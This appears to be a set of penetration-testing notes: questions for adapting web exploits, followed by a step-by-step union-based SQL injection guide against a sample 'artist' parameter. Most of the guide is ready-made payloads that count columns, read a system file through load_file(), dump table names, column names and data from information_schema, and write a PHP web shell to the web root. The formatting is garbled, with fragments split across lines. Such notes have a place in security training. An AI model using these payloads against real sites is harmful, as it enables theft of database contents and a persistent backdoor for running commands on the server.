When modifying web exploits, there are several key questions we generally need to ask while approaching the code:
- Does it initiate an HTTP or HTTPS connection?
- Does it access a web application specific path or route?
- Does the exploit leverage a pre-authentication vulnerability?
- If not, how does the exploit authenticate to the web application?
- How are the GET or POST requests crafted to trigger and exploit the vulnerability?
- Does it rely on default application settings (such as the web path of the application) that may have been changed after installation?
- Will oddities such as self-signed certificates disrupt the exploit?
- Use
‘
and“
and inject it into every parameter and look for possible errors - Use
#
and--
for comments after the injection. (After the--
a space is required)- If
--
in url the add something behind it so the space doesn't get truncated. For example-- \\
- If
- If returning multiple rows gives errors use
LIMIT 1
in the query - Use
ORDER BY
to find the amount of columns. Increment it by 1 till no output is shown. - Use
load_file('C:/Windows/System32/drivers/etc/hosts')
to load files instead of database data. - Use
"<?php echo shell_exec($_GET['cmd']);?>" into OUTFILE '<PATH TO WEBROOT>/backdoor.php'
to create a simple php backdoor.

- Find the SQL injecton
- Use
‘
and“
to look for possible errors. - Vunerable value for example is
artist=1
- Use
- Find the amount of columns
- use
artist=1 ORDER BY 1
. Increment it by 1 till no output or error is given. Ifartist=1 ORDER BY 4
gives an error, the amount of columns is 3.
- use
- Use a union based SQL injection
- use
artist=1 union select 1,2,3
(amount of columns). If no other output is given:- use wrong output
artist=-1 union select 1,2,3
- If its a string use
artist=-1 union select NULL,NULL,NULL
- use wrong output
- use
- Fetch the name of the database and version/current user
artist=-1 union select 1,database(),3
-1 union select 1,version(),current_user()
- Fetch the table names inside the database
- Retrieve all table names
artist=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
- Get first table name (Limited by first because of the
limit 0,1
)artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,1
- Get the second table name (Limited by second because of the
limit 1,1
)artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 1,1
- Get the rest of the table names
- Retrieve all table names
- Retrieve columns names
artist=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='<TABLE>'
- Get data out of the columns
artist=-1 union select 1,group_concat(<COLUMN>),3 from <TABLE>
